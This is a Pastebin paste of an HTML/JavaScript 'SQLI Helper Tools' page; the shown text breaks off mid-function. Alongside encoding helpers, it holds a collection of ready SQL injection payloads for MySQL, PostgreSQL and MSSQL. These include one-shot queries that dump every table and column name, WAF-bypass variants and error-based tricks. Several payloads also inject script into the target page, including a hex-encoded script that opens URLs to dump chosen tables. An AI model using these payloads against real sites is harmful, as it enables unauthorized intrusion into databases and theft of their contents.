VanGans

sql tools

Feb 7th, 2019
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 38.81 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>SQLI Helper Tools</title>
  4. <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
  5. <meta content='index, follow' name='googlebot'/>
  6. <meta content='all' name='spiders'/>
  7. <meta content='all' name='WEBCRAWLERS'/>
  8. <meta content='Index, Follow' name='robots'/>
  9. <meta content='Versailles' name='author'/>
  10. <meta content='Sec7or Team' name='author'/>
  11.  
  12. <style>
  13. body { padding-top: 60px; background: url(http://img02.deviantart.net/9d9d/i/2010/273/9/b/in_the_snow_by_kitsunebaka91-d2myr0w.jpg) top center no-repeat;
  14. background-attachment:fixed;
  15. }
  16. </style>
  17.  
  18. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css"> <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
  19.  
  20.  
  21.  
  22.  
  23. <script type="text/javascript">
  24.  
  25. // CheatSheet Dios Collection Pakage
  26. // By VanGans
  27.  
  28. function rplc(){
  29.  
  30. function replaceAll(str, find, replace) { return str.replace(new RegExp(find, 'g'), replace); }
  31.  
  32. var str = document.getElementById('str').value;
  33. var wrd = document.getElementById('wrd').value;
  34. var rep = document.getElementById('rep').value;
  35.  
  36. hasil = replaceAll(str,wrd,rep);
  37. document.getElementById('hex').value = hasil;
  38.  
  39. }
  40.  
  41.  
  42.       var encN=1;
  43.       function decodeTxt(s){
  44.       var s1=unescape(s.substr(0,s.length-1));
  45.       var t='';
  46.       for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
  47.       return unescape(t);
  48.       }
  49.  
  50.       function encodeTxt(s){
  51.       s=escape(s);
  52.       var ta=new Array();
  53.       for(i=0;i<s.length;i++)ta[i]=s.charCodeAt(i)+encN;
  54.       return ""+escape(eval("String.fromCharCode("+ta+")"))+encN;
  55.       }
  56.  
  57.       function escapeTxt(os){
  58.       var ns='';
  59.       var t;
  60.       var chr='';
  61.       var cc='';
  62.       var tn='';
  63.       for(i=0;i<256;i++){
  64.       tn=i.toString(16);
  65.       if(tn.length<2)tn="0"+tn;
  66.       cc+=tn;
  67.       chr+=unescape('%'+tn);
  68.       }
  69.       cc=cc.toUpperCase();
  70.       os.replace(String.fromCharCode(13)+'',"%13");
  71.       for(q=0;q<os.length;q++){
  72.       t=os.substr(q,1);
  73.       for(i=0;i<chr.length;i++){
  74.       if(t==chr.substr(i,1)){
  75.       t=t.replace(chr.substr(i,1),"%"+cc.substr(i*2,2));
  76.       i=chr.length;
  77.       }}
  78.       ns+=t;
  79.       }
  80.       return ns;
  81.       }
  82.       function unescapeTxt(s){
  83.       return unescape(s);
  84.       }
  85.       function wF(s){
  86.       document.write(decodeTxt(s));
  87.       }
  88.  
  89. function esc(){
  90. var str = document.getElementById('str').value;
  91. hasil = escapeTxt(str);
  92. document.getElementById('hex').value = hasil;
  93. }
  94.  
  95.  
  96. function unesc(){
  97. var str = document.getElementById('str').value;
  98. hasil = unescapeTxt(str);
  99. document.getElementById('hex').value = hasil;
  100. }
  101.  
  102. var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  103. var base64DecodeChars = new Array(
  104.     -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
  105.     -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
  106.     -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
  107.     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
  108.     -1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
  109.     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
  110.     -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
  111.     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
  112.  
  113. function base64encode(str) {
  114.     var out, i, len;
  115.     var c1, c2, c3;
  116.  
  117.     len = str.length;
  118.     i = 0;
  119.     out = "";
  120.     while(i < len) {
  121.     c1 = str.charCodeAt(i++) & 0xff;
  122.     if(i == len)
  123.     {
  124.         out += base64EncodeChars.charAt(c1 >> 2);
  125.         out += base64EncodeChars.charAt((c1 & 0x3) << 4);
  126.         out += "==";
  127.         break;
  128.     }
  129.     c2 = str.charCodeAt(i++);
  130.     if(i == len)
  131.     {
  132.         out += base64EncodeChars.charAt(c1 >> 2);
  133.         out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
  134.         out += base64EncodeChars.charAt((c2 & 0xF) << 2);
  135.         out += "=";
  136.         break;
  137.     }
  138.     c3 = str.charCodeAt(i++);
  139.     out += base64EncodeChars.charAt(c1 >> 2);
  140.     out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
  141.     out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >>6));
  142.     out += base64EncodeChars.charAt(c3 & 0x3F);
  143.     }
  144.     return out;
  145. }
  146.  
  147. function base64decode(str) {
  148.     var c1, c2, c3, c4;
  149.     var i, len, out;
  150.  
  151.     len = str.length;
  152.     i = 0;
  153.     out = "";
  154.     while(i < len) {
  155.     /* c1 */
  156.     do {
  157.         c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
  158.     } while(i < len && c1 == -1);
  159.     if(c1 == -1)
  160.         break;
  161.  
  162.     /* c2 */
  163.     do {
  164.         c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
  165.     } while(i < len && c2 == -1);
  166.     if(c2 == -1)
  167.         break;
  168.  
  169.     out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
  170.  
  171.     /* c3 */
  172.     do {
  173.         c3 = str.charCodeAt(i++) & 0xff;
  174.         if(c3 == 61)
  175.         return out;
  176.         c3 = base64DecodeChars[c3];
  177.     } while(i < len && c3 == -1);
  178.     if(c3 == -1)
  179.         break;
  180.  
  181.     out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));
  182.  
  183.     /* c4 */
  184.     do {
  185.         c4 = str.charCodeAt(i++) & 0xff;
  186.         if(c4 == 61)
  187.         return out;
  188.         c4 = base64DecodeChars[c4];
  189.     } while(i < len && c4 == -1);
  190.     if(c4 == -1)
  191.         break;
  192.     out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
  193.     }
  194.     return out;
  195. }
  196.  
  197. function utf16to8(str) {
  198.     var out, i, len, c;
  199.  
  200.     out = "";
  201.     len = str.length;
  202.     for(i = 0; i < len; i++) {
  203.     c = str.charCodeAt(i);
  204.     if ((c >= 0x0001) && (c <= 0x007F)) {
  205.         out += str.charAt(i);
  206.     } else if (c > 0x07FF) {
  207.         out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F));
  208.         out += String.fromCharCode(0x80 | ((c >>  6) & 0x3F));
  209.         out += String.fromCharCode(0x80 | ((c >>  0) & 0x3F));
  210.     } else {
  211.         out += String.fromCharCode(0xC0 | ((c >>  6) & 0x1F));
  212.         out += String.fromCharCode(0x80 | ((c >>  0) & 0x3F));
  213.     }
  214.     }
  215.     return out;
  216. }
  217.  
  218. function utf8to16(str) {
  219.     var out, i, len, c;
  220.     var char2, char3;
  221.  
  222.     out = "";
  223.     len = str.length;
  224.     i = 0;
  225.     while(i < len) {
  226.     c = str.charCodeAt(i++);
  227.     switch(c >> 4)
  228.     {
  229.       case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7:
  230.         // 0xxxxxxx
  231.         out += str.charAt(i-1);
  232.         break;
  233.       case 12: case 13:
  234.         // 110x xxxx   10xx xxxx
  235.         char2 = str.charCodeAt(i++);
  236.         out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
  237.         break;
  238.       case 14:
  239.         // 1110 xxxx  10xx xxxx  10xx xxxx
  240.         char2 = str.charCodeAt(i++);
  241.         char3 = str.charCodeAt(i++);
  242.         out += String.fromCharCode(((c & 0x0F) << 12) |
  243.                        ((char2 & 0x3F) << 6) |
  244.                        ((char3 & 0x3F) << 0));
  245.         break;
  246.     }
  247.     }
  248.  
  249.     return out;
  250. }
  251.  
  252. function CharToHex(str) {
  253.     var out, i, len, c, h;
  254.  
  255.     out = "";
  256.     len = str.length;
  257.     i = 0;
  258.     while(i < len)
  259.     {
  260.         c = str.charCodeAt(i++);
  261.         h = c.toString(16);
  262.         if(h.length < 2)
  263.             h = "0" + h;
  264.        
  265.         out += "\\x" + h + " ";
  266.         if(i > 0 && i % 8 == 0)
  267.             out += "\r\n";
  268.     }
  269.  
  270.     return out;
  271. }
  272.  
  273. function b64_enc() {
  274.     var str = document.getElementById('str').value;
  275.     document.getElementById('hex').value = base64encode(utf16to8(str));
  276. }
  277.  
  278. function b64_dec() {
  279.     var str = document.getElementById('str').value;
  280.     var opts = "checked";
  281.  
  282.     if(opts.checked)
  283.     {
  284.         document.getElementById('hex').value = CharToHex(base64decode(str));
  285.     }
  286.     else
  287.     {
  288.         document.getElementById('hex').value = utf8to16(base64decode(str));
  289.     }
  290. }
  291.  
  292.  
  293.  
  294. function d2h(d) {return d.toString(16);}
  295. function Str2Hex() {
  296. var tmp = document.getElementById('str').value;
  297. var str = '';
  298. for (var i=0; i<tmp.length; i++) {
  299. c = tmp.charCodeAt(i);
  300. str += d2h(c) + ''; }
  301. document.getElementById('hex').value = str; }
  302.  
  303. function h2d(h) {
  304. return parseInt( h, 16 ); }
  305. function Hex2Str(){
  306.          var string = document.getElementById('str').value;        
  307.         var string = string.toLowerCase();
  308.         string = string.replace( /%/g, '' );
  309.         string = string.replace( /[^0-9abcdefg]/g, '' );
  310.  
  311.         var charStringArray = new Array();
  312.         var buffer = '';
  313.         var hasil = '';
  314.         for ( var c = 0 ; c < string.length ; c++ ) {
  315.           buffer += string.charAt( c ).toString();
  316.           if ( buffer.length >= 2 ) {
  317.             hasil += String.fromCharCode( h2d( buffer ) );
  318.             buffer = '';
  319.           }
  320.         }          
  321. document.getElementById('hex').value = hasil;          
  322.     }
  323.  
  324.  
  325.  
  326. function kolom() {
  327.  
  328. var columns = prompt( "Total Columns ?", "48" );
  329.     columns = Math.min(1000, parseInt( columns ));
  330.     var colArray = new Array();
  331.     for ( var i = 0 ; i < columns ; i++ ) {
  332.       colArray.push( i+1 );
  333.     }
  334.     var kolom = "+UNION+SELECT+" + colArray.join( ',' ); document.getElementById('dios').value = kolom;
  335.   }
  336.  
  337. function dios1(){
  338. var dios1 = '(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)';
  339. document.getElementById('dios').value = dios1;
  340. }
  341.  
  342. function dios2(){
  343. var dios2 = '(select(select+concat(@:=0xa7,(select+count(*)from(information_schema.coLumns )where(@:=concat(@,0x3c6c693e,table_name,0x203a3a20,column_name))),@)))';
  344. document.getElementById('dios').value = dios2;
  345. }
  346.  
  347. function dios3(){
  348. var dios3 = 'make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)';
  349. document.getElementById('dios').value = dios3;
  350. }
  351.  
  352. function dios4(){
  353. var dios4 = "export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0x203a3a20,2)),@,2)";
  354. document.getElementById('dios').value = dios4;
  355. }
  356.  
  357.  
  358. function xssdios(){
  359. var xssdios = 'concat(0x3c2f6469763e3c7363726970743e616c6572742827,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x5c6e,table_name,0x203a3a20,column_name))))x),0x27293c2f7363726970743e)';
  360. document.getElementById('dios').value = xssdios;
  361. }
  362.  
  363.  
  364. function makman(){
  365. var makman = alert("SQLIGODS SYNTAX V 1.0 \n\nBY MAKMAN");
  366. var makman = "concat(0x3c7363726970743e6e616d653d70726f6d70742822506c6561736520456e74657220596f7572204e616d65203a2022293b2075726c3d70726f6d70742822506c6561736520456e746572205468652055726c20796f7527726520747279696e6720746f20496e6a65637420616e6420777269746520276d616b6d616e2720617420796f757220496e6a656374696f6e20506f696e742c204578616d706c65203a20687474703a2f2f736974652e636f6d2f66696c652e7068703f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361742830783664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e,0x3c623e3c666f6e7420636f6c6f723d7265643e53514c69474f44732053796e746178205620312e30204279204d616b4d616e3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d343e496e6a6563746564206279203c7363726970743e646f63756d656e742e7772697465286e616d65293b3c2f7363726970743e3c2f666f6e743e3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c62723e3c62723e3c62723e3c62723e3c62723e)";
  367. document.getElementById('dios').value = makman;
  368. }
  369.  
  370. function trjn(){
  371. var trjn = 'concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e,if((@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1,2,0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e),0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/';
  372. document.getElementById('dios').value = trjn;
  373. }
  374.  
  375. function trjnx(){
  376. var trjnx = "concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)";
  377. document.getElementById('dios').value = trjnx;
  378. }
  379.  
  380. function bypsfrm(){
  381. var bypsfrm = alert("Put after parameter id , and Replace Vuln Column With @sec7or");
  382. var bypsfrm = '+and@sec7or:=concat(@:=0,(select+count(*)/*!50000from*/information_schema.columns+where+table_schema=database()+and@:=concat+(@,0x3c6c693e,table_name,0x203a3a20,column_name)),@)+/*!50000UNION*/+SELECT+';
  383. document.getElementById('dios').value = bypsfrm;
  384. }
  385.  
  386. function ebf(){
  387. var ebf = "(SELECT!x-~0.FROM(SELECT(concat_ws(0x3a3a,user(),@@version,database(),concat(@:=0,(Select+count(*)from+information_schema.tables+where+table_schema=database()and@:=concat(@,0x0b,table_name)),@)))x)a)";
  388. document.getElementById('dios').value = ebf;
  389. }
  390.  
  391. function poligon(){
  392. var poligon = "polygon((Select*from((SELECT(!x-~0)FROM(SELECT(concat_ws(0x203a3a20,user(),@@version,database(),(Select+group_concat(table_name+separator+0x0b)from+information_schema.tables+where+table_schema=database())))x)a)b)))";
  393. document.getElementById('dios').value = poligon;
  394. }
  395.  
  396. function multipoint(){
  397. var multipoint = alert("It is only for mysql < 5.5 \n\nHow To Use\n\n1.remove parameter id and change it with the query \nif there s still any table that doesnt show completely just increase the limit ,number 20 in limit 1,20 is our assumption how many tables there in the site..\n\nM@db100d");
  398. var multipoint = "multipoint((select*from(select!x-~0.from(select(select+group_concat(table_name+separator+0x0b)from(select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+limit+1,20)c)x)j)h))";
  399. document.getElementById('dios').value = multipoint;
  400. }
  401.  
  402. function postgre(){
  403. var postgre = "(select+string_agg(concat(table_name,'::',column_name),$$<li>$$)from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$))";
  404. document.getElementById('dios').value = postgre;
  405. }
  406.  
  407. function mssql(){
  408. var mssql = "(select+concat(' ',table_name,'::',column_name)from+information_schema.columns+for+xml+path(''))";
  409. document.getElementById('dios').value = mssql;
  410. }
  411.  
  412. function bof(){
  413. var bof = "+and(SELECT+1)=(SELECT+0x41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141)/*!50000UNION*/SELECT+";
  414. document.getElementById('dios').value = bof;
  415.  
  416. }
  417.  
  418.  
  419. function version1(){
  420. var v1 = 'version()';
  421. document.getElementById('dios').value = v1;
  422. }
  423.  
  424. function version2(){
  425. var v2 = '@@version';
  426. document.getElementById('dios').value = v2;
  427. }
  428.  
  429. function version3(){
  430. var v3 = '@@GLOBAL.VERSION';
  431. document.getElementById('dios').value = v3;
  432. }
  433.  
  434. function version4(){
  435. var v4 = "(select+variable_value+from+information_schema.session_variables+where+variable_name+like+0x56455253494f4e)";
  436. document.getElementById('dios').value = v4;
  437. }
  438.  
  439. function version5(){
  440. var v5 = "(Select+variable_value+from+information_schema.global_variables+where+variable_name=0x76657273696f6e)";
  441. document.getElementById('dios').value = v5;
  442. }
  443.  
  444. function user1(){
  445. var u1 = 'user()';
  446. document.getElementById('dios').value = u1;
  447. }
  448.  
  449. function user2(){
  450. var u2 = 'CURRENT_USER()';
  451. document.getElementById('dios').value = u2;
  452. }
  453.  
  454. function user3(){
  455. var u3 = 'SYSTEM_USER()';
  456. document.getElementById('dios').value = u3;
  457. }
  458.  
  459. function user4(){
  460. var u4 = 'SESSION_USER()';
  461. document.getElementById('dios').value = u4;
  462. }
  463.  
  464. function user5(){
  465. var u5 = 'SUBSTRING_INDEX(USER(),0x40,1)';
  466. document.getElementById('dios').value = u5;
  467. }
  468.  
  469. function user6(){
  470. var u6 = '(SELECT+CONCAT(USER)+FROM+INFORMATION_SCHEMA.PROCESSLIST)';
  471. document.getElementById('dios').value = u6;
  472. }
  473.  
  474. function db1(){
  475. var d1 = 'DATABASE()';
  476. document.getElementById('dios').value = d1;
  477. }
  478.  
  479. function db2(){
  480. var d2 = 'SCHEMA()';
  481. document.getElementById('dios').value = d2;
  482. }
  483.  
  484. function db3(){
  485. var d3 = '(SELECT+CONCAT(DB)+FROM+INFORMATION_SCHEMA.PROCESSLIST)';
  486. document.getElementById('dios').value = d3;
  487. }
  488.  
  489. function o1(){
  490. var o1 = '@@HOSTNAME';
  491. document.getElementById('dios').value = o1;
  492. }
  493.  
  494. function o2(){
  495. var o2 = '@@VERSION_COMPILE_MACHINE';
  496. document.getElementById('dios').value = o2;
  497. }
  498.  
  499. function o3(){
  500. var o3 = '@@VERSION_COMPILE_OS';
  501. document.getElementById('dios').value = o3;
  502. }
  503.  
  504. function o4(){
  505. var o4 = '@@BASEDIR';
  506. document.getElementById('dios').value = o4;
  507. }
  508.  
  509. function o5(){
  510. var o5 = '@@HAVE_OPENSSL';
  511. document.getElementById('dios').value = o5;
  512. }
  513.  
  514. function o6(){
  515. var o6 = '@@HAVE_SYMLINK';
  516. document.getElementById('dios').value = o6;
  517. }
  518.  
  519. function o7(){
  520. var o7 = '@@PORT';
  521. document.getElementById('dios').value = o7;
  522. }
  523.  
  524. function o8(){
  525. var o8 = '@@SOCKET';
  526. document.getElementById('dios').value = o8;
  527. }
  528.  
  529. function xssqli(){
  530. var xssqli = prompt('Input Your Query','VERSION()');
  531. var xssqli = "concat(0x3c2f6469763e3c7363726970743e616c6572742827,"+xssqli+",0x27293c2f7363726970743e)";
  532. document.getElementById('dios').value = xssqli;
  533. }
  534.  
  535. function mydios(){
